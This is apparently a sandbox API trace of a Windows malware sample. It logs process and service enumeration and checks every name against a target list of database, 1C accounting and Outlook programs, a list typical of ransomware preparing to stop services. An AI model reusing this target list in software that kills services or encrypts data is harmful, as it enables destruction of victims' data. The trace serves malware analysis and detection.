Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0109.988] lstrlenW (lpString="consent.exe") returned 11 [0109.988] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0109.989] lstrlenW (lpString="dllhost.exe") returned 11 [0109.989] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0109.989] CloseHandle (hObject=0x194) returned 1 [0109.989] Sleep (dwMilliseconds=0x1f4) [0110.716] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab73c8 [0110.716] EnumServicesStatusExW (in: hSCManager=0x3ab73c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0110.717] GetLastError () returned 0xea [0110.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e07c8 [0110.717] EnumServicesStatusExW (in: hSCManager=0x3ab73c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0110.717] CloseServiceHandle (hSCObject=0x3ab73c8) returned 1 [0110.717] lstrlenW (lpString="Appinfo") returned 7 [0110.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0110.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0110.718] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0110.718] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0110.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0110.718] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0110.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0110.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0110.718] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0110.718] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0110.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0110.718] lstrlenW (lpString="AudioSrv") returned 8 [0110.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0110.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0110.718] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0110.718] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0110.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0110.718] lstrlenW (lpString="BFE") returned 3 [0110.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0110.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0110.718] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0110.718] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0110.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0110.718] lstrlenW (lpString="CryptSvc") returned 8 [0110.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0110.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0110.718] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0110.718] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0110.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0110.718] lstrlenW (lpString="CscService") returned 10 [0110.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0110.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0110.718] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0110.718] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0110.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0110.718] lstrlenW (lpString="DcomLaunch") returned 10 [0110.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0110.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0110.718] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0110.718] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0110.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0110.718] lstrlenW (lpString="Dhcp") returned 4 [0110.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0110.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0110.718] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0110.718] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0110.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0110.719] lstrlenW (lpString="Dnscache") returned 8 [0110.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0110.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0110.719] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0110.719] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0110.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0110.719] lstrlenW (lpString="DPS") returned 3 [0110.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0110.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0110.719] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0110.719] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0110.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0110.719] lstrlenW (lpString="eventlog") returned 8 [0110.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0110.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0110.719] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0110.719] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0110.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0110.719] lstrlenW (lpString="EventSystem") returned 11 [0110.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0110.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0110.719] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0110.719] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0110.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0110.719] lstrlenW (lpString="gpsvc") returned 5 [0110.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0110.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0110.719] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0110.719] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0110.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0110.719] lstrlenW (lpString="iphlpsvc") returned 8 [0110.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0110.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0110.719] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0110.719] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0110.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0110.719] lstrlenW (lpString="LanmanServer") returned 12 [0110.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0110.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0110.719] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0110.719] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0110.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0110.719] lstrlenW (lpString="LanmanWorkstation") returned 17 [0110.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0110.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0110.720] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0110.720] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0110.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0110.720] lstrlenW (lpString="lmhosts") returned 7 [0110.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0110.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0110.720] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0110.720] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0110.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0110.720] lstrlenW (lpString="MMCSS") returned 5 [0110.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0110.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0110.720] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0110.720] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0110.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0110.720] lstrlenW (lpString="MpsSvc") returned 6 [0110.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0110.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0110.720] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0110.720] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0110.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0110.720] lstrlenW (lpString="Netman") returned 6 [0110.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0110.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0110.720] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0110.720] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0110.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0110.720] lstrlenW (lpString="netprofm") returned 8 [0110.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0110.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0110.720] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0110.720] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0110.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0110.720] lstrlenW (lpString="NlaSvc") returned 6 [0110.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0110.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0110.720] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0110.720] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0110.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0110.720] lstrlenW (lpString="nsi") returned 3 [0110.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0110.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0110.720] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0110.720] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0110.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0110.721] lstrlenW (lpString="PcaSvc") returned 6 [0110.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0110.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0110.721] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0110.721] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0110.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0110.721] lstrlenW (lpString="PlugPlay") returned 8 [0110.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0110.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0110.721] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0110.721] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0110.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0110.721] lstrlenW (lpString="Power") returned 5 [0110.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0110.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0110.721] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0110.721] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0110.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0110.721] lstrlenW (lpString="ProfSvc") returned 7 [0110.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0110.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0110.721] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0110.721] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0110.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0110.721] lstrlenW (lpString="RpcEptMapper") returned 12 [0110.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0110.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0110.721] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0110.721] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0110.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0110.721] lstrlenW (lpString="RpcSs") returned 5 [0110.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0110.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0110.721] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0110.721] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0110.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0110.721] lstrlenW (lpString="SamSs") returned 5 [0110.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0110.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0110.721] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0110.721] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0110.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0110.721] lstrlenW (lpString="Schedule") returned 8 [0110.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0110.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0110.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0110.722] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0110.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0110.722] lstrlenW (lpString="SENS") returned 4 [0110.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0110.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0110.722] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0110.722] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0110.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0110.722] lstrlenW (lpString="ShellHWDetection") returned 16 [0110.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0110.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0110.722] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0110.722] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0110.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0110.722] lstrlenW (lpString="Spooler") returned 7 [0110.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0110.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0110.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0110.722] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0110.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0110.722] lstrlenW (lpString="SysMain") returned 7 [0110.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0110.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0110.722] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0110.722] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0110.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0110.722] lstrlenW (lpString="Themes") returned 6 [0110.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0110.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0110.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0110.722] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0110.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0110.722] lstrlenW (lpString="TrkWks") returned 6 [0110.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0110.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0110.723] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0110.723] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0110.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0110.723] lstrlenW (lpString="UxSms") returned 5 [0110.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0110.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0110.723] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0110.723] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0110.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0110.723] lstrlenW (lpString="WdiServiceHost") returned 14 [0110.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0110.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0110.723] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0110.723] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0110.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0110.723] lstrlenW (lpString="WdiSystemHost") returned 13 [0110.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0110.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0110.723] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0110.723] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0110.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0110.723] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0110.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0110.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0110.723] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0110.723] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0110.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0110.723] lstrlenW (lpString="Winmgmt") returned 7 [0110.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0110.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0110.723] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0110.723] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0110.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0110.723] lstrlenW (lpString="WPDBusEnum") returned 10 [0110.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0110.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0110.723] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0110.723] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0110.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0110.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0110.724] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b8 [0110.725] Process32FirstW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.725] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.726] lstrlenW (lpString="System") returned 6 [0110.726] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0110.726] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0110.726] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0110.726] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0110.726] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0110.726] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0110.726] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0110.726] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.726] lstrlenW (lpString="smss.exe") returned 8 [0110.726] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0110.726] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0110.726] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0110.726] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0110.726] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0110.726] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0110.726] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0110.726] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.726] lstrlenW (lpString="csrss.exe") returned 9 [0110.726] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0110.726] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0110.726] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0110.726] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0110.726] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0110.726] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0110.727] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0110.727] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.727] lstrlenW (lpString="wininit.exe") returned 11 [0110.727] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0110.727] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0110.727] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0110.727] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0110.727] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0110.727] 